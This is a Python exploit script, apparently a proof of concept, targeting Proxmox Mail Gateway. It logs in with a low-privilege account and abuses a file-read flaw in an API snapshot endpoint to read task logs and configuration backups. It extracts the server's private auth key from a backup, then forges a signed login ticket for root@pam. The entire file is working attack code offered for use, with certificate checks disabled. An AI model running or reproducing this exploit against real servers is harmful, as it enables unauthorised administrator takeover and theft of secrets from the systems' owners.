| 1 | + | import argparse |
| 2 | + | import requests |
| 3 | + | import logging |
| 4 | + | import json |
| 5 | + | import socket |
| 6 | + | import ssl |
| 7 | + | import urllib.parse |
| 8 | + | import re |
| 9 | + | import time |
| 10 | + | import subprocess |
| 11 | + | import base64 |
| 12 | + | import tarfile |
| 13 | + | import io |
| 14 | + | import tempfile |
| 15 | + | import urllib3 |
| 16 | + | |
| 17 | + | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) |
| 18 | + | |
| 19 | + | PROXIES = {} # {'https': '192.168.86.52:8080'} |
| 20 | + | logging.basicConfig(format='%(asctime)s - %(message)s', level=logging.INFO) |
| 21 | + | |
| 22 | + | |
| 23 | + | def generate_ticket(authkey_bytes, username='root@pam', time_offset=-30): |
| 24 | + | timestamp = hex(int(time.time()) + time_offset)[2:].upper() |
| 25 | + | plaintext = f'PMG:{username}:{timestamp}' |
| 26 | + | |
| 27 | + | authkey_path = tempfile.NamedTemporaryFile(delete=False) |
| 28 | + | logging.info(f'writing authkey to {authkey_path.name}') |
| 29 | + | authkey_path.write(authkey_bytes) |
| 30 | + | authkey_path.close() |
| 31 | + | |
| 32 | + | txt_path = tempfile.NamedTemporaryFile(delete=False) |
| 33 | + | logging.info(f'writing plaintext to {txt_path.name}') |
| 34 | + | txt_path.write(plaintext.encode('utf-8')) |
| 35 | + | txt_path.close() |
| 36 | + | |
| 37 | + | logging.info(f'calling openssl to sign') |
| 38 | + | sig = subprocess.check_output( |
| 39 | + | ['openssl', 'dgst', '-sha1', '-sign', authkey_path.name, '-out', '-', txt_path.name]) |
| 40 | + | sig = base64.b64encode(sig).decode('latin-1') |
| 41 | + | |
| 42 | + | ret = f'{plaintext}::{sig}' |
| 43 | + | logging.info(f'generated ticket for {username}: {ret}') |
| 44 | + | |
| 45 | + | return ret |
| 46 | + | |
| 47 | + | |
| 48 | + | def read_file(hostname, port, ticket, localhostname, filename): |
| 49 | + | logging.info(f'reading {filename}') |
| 50 | + | raw_req = f'GET %2Fapi2%2Fhtml%2Fnodes%2F{localhostname}%2Fpbs%[email protected]/snapshot/?f={urllib.parse.quote_plus(filename)} HTTP/1.1\r\n' \ |
| 51 | + | f'Cookie: PMGAuthCookie={urllib.parse.quote_plus(ticket)}\r\n' \ |
| 52 | + | 'Connection: close\r\n' \ |
| 53 | + | '\r\n' |
| 54 | + | logging.debug(raw_req) |
| 55 | + | context = ssl.create_default_context() |
| 56 | + | # disable cert check |
| 57 | + | context.check_hostname = False |
| 58 | + | context.verify_mode = ssl.VerifyMode.CERT_NONE |
| 59 | + | |
| 60 | + | ret = b'' |
| 61 | + | with socket.create_connection((hostname, port), timeout=5) as sock: |
| 62 | + | with context.wrap_socket(sock, server_hostname=hostname) as ssock: |
| 63 | + | ssock.send(raw_req.encode()) |
| 64 | + | while True: |
| 65 | + | try: |
| 66 | + | buf = ssock.recv(2048) |
| 67 | + | ret += buf |
| 68 | + | if (len(buf) < 1): |
| 69 | + | break |
| 70 | + | logging.info(f'recv {len(buf)} bytes') |
| 71 | + | except socket.timeout: |
| 72 | + | logging.error('recv timeout, maybe the file doesn\'t exist') |
| 73 | + | break |
| 74 | + | return ret |
| 75 | + | |
| 76 | + | |
| 77 | + | def get_authkey_from_tgz(tgz_bytes): |
| 78 | + | tar = tarfile.open(fileobj=io.BytesIO(tgz_bytes)) |
| 79 | + | logging.info('reading ./config_backup.tar from tgz') |
| 80 | + | tar2 = tarfile.open(fileobj=tar.extractfile(tar.getmember('./config_backup.tar'))) |
| 81 | + | logging.info('reading etc/pmg/pmg-authkey.key from ./config_backup.tar') |
| 82 | + | authkey_bytes = tar2.extractfile(tar2.getmember('etc/pmg/pmg-authkey.key')).read() |
| 83 | + | |
| 84 | + | logging.info(f'read authkey_bytes length: {len(authkey_bytes)}') |
| 85 | + | return authkey_bytes |
| 86 | + | |
| 87 | + | |
| 88 | + | def exploit(username, password, realm, target_url, generate_for): |
| 89 | + | # login |
| 90 | + | logging.info(f'logging in with username:{username}') |
| 91 | + | req = requests.post(f'{target_url}api2/extjs/access/ticket', |
| 92 | + | verify=False, |
| 93 | + | data={'username': username, 'password': password, 'realm': realm}, |
| 94 | + | proxies=PROXIES) |
| 95 | + | if req.status_code != 200: |
| 96 | + | logging.error(f'login failed: expect 200, got {req.status_code}. Please check target_url') |
| 97 | + | exit(1) |
| 98 | + | res = json.loads(req.content.decode('utf-8')) |
| 99 | + | if res['success'] != 1: |
| 100 | + | logging.error(f'login failed: {res["message"]}. Please check username/password/realm') |
| 101 | + | exit(1) |
| 102 | + | ticket = res['data']['ticket'] |
| 103 | + | localhostname_re = re.compile('PMG:.*?@(.*?):[0-9A-F]{8}::') |
| 104 | + | localhostname = localhostname_re.findall(ticket)[0] |
| 105 | + | logging.info(f'logged in, user: {res["data"]["username"]}, role: {res["data"]["role"]}, localhostname: {localhostname}') |
| 106 | + | |
| 107 | + | # read file |
| 108 | + | parsed_target = urllib.parse.urlparse(target_url) |
| 109 | + | hostname = parsed_target.hostname |
| 110 | + | port = parsed_target.port |
| 111 | + | |
| 112 | + | task_index = read_file(hostname, port, ticket, localhostname, '/var/log/pve/tasks/index').decode('utf-8') |
| 113 | + | task_index = task_index.split('\r\n\r\n')[1] |
| 114 | + | backup_re = re.compile('^(UPID:.*?:backup::.*?) ([0-9A-F]{8}) OK$', re.MULTILINE) |
| 115 | + | backup_tasks = backup_re.findall(task_index) |
| 116 | + | # we start looking for the tgz file from the lastest update |
| 117 | + | backup_tasks.reverse() |
| 118 | + | logging.info(f'found {len(backup_tasks)} successful backup tasks') |
| 119 | + | |
| 120 | + | for i in backup_tasks: |
| 121 | + | # extract backup tgz filepath from task details |
| 122 | + | task_detail = read_file(hostname, port, ticket, localhostname, f'/var/log/pve/tasks/{i[1][-1]}/{i[0]}').decode('utf-8') |
| 123 | + | backuptgz_re = re.compile('^starting backup to: (.*?\.tgz)$', re.MULTILINE) |
| 124 | + | backuptgz_path = backuptgz_re.findall(task_detail) |
| 125 | + | if len(backuptgz_path) == 0: |
| 126 | + | logging.info(f'no backup file') |
| 127 | + | continue |
| 128 | + | backuptgz_path = backuptgz_path[0] |
| 129 | + | logging.info(f'found backup file: {backuptgz_path}') |
| 130 | + | # read the backup tgz file and extract pmg-authkey.key |
| 131 | + | backuptgz_content = read_file(hostname, port, ticket, localhostname, backuptgz_path) |
| 132 | + | if not backuptgz_content: |
| 133 | + | logging.info(f'no backup file') |
| 134 | + | continue |
| 135 | + | backuptgz_content = backuptgz_content.split(b'\r\n\r\n', 1)[1] |
| 136 | + | authkey_bytes = get_authkey_from_tgz(backuptgz_content) |
| 137 | + | new_ticket = generate_ticket(authkey_bytes, username=generate_for) |
| 138 | + | |
| 139 | + | logging.info('veryfing ticket') |
| 140 | + | req = requests.get(target_url, headers={'Cookie': f'PMGAuthCookie={new_ticket}'}, proxies=PROXIES, |
| 141 | + | verify=False) |
| 142 | + | res = req.content.decode('utf-8') |
| 143 | + | verify_re = re.compile('UserName: \'(.*?)\',\n\s+CSRFPreventionToken:') |
| 144 | + | verify_result = verify_re.findall(res) |
| 145 | + | logging.info(f'current user: {verify_result[0]}') |
| 146 | + | logging.info(f'Cookie: PMGAuthCookie={urllib.parse.quote_plus(new_ticket)}') |
| 147 | + | break |
| 148 | + | |
| 149 | + | |
| 150 | + | def _parse_args(): |
| 151 | + | parser = argparse.ArgumentParser() |
| 152 | + | parser.add_argument('-u', metavar='username', required=True, help='A low privilege account in PMG') |
| 153 | + | parser.add_argument('-p', metavar='password', required=True) |
| 154 | + | parser.add_argument('-r', metavar='realm', default="pmg", help="Default: pmg") |
| 155 | + | parser.add_argument('-g', metavar='generate_for', default="root@pam", help="Default: root@pam") |
| 156 | + | parser.add_argument('-t', metavar='target_url', |
| 157 | + | help='Please keep the trailing slash, example: https://10.0.0.24:8006/', |
| 158 | + | required=True) |
| 159 | + | return parser.parse_args() |
| 160 | + | |
| 161 | + | |
| 162 | + | if __name__ == '__main__': |
| 163 | + | arg = _parse_args() |
| 164 | + | exploit(arg.u, arg.p, arg.r, arg.t, arg.g) |